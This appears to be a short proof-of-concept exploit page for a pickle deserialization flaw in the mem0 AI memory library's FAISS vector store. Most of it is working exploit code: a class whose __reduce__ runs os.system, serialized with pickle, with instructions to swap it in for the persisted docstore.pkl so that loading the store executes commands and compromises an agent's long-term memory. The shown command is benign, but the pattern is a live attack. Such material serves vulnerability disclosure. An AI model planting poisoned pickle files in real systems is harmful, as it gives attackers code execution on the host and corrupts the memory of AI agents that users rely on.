vellaveto's picture
PoC: mem0 — FAISS pickle.load on vector store docstore
87f437b verified
"""mem0 — FAISS vector store pickle.load on docstore PoC
Affected: mem0/vector_stores/faiss.py:94
"""
import pickle
import os
class MemoryPoison:
def __reduce__(self):
return (os.system, ('id > /tmp/mem0_pwned',))
payload = pickle.dumps(MemoryPoison())
print(f"Payload: {len(payload)} bytes")
print("Attack: replace <persist_dir>/docstore.pkl")
print("AI Impact: mem0 is an AI memory layer. Compromises agent long-term memory.")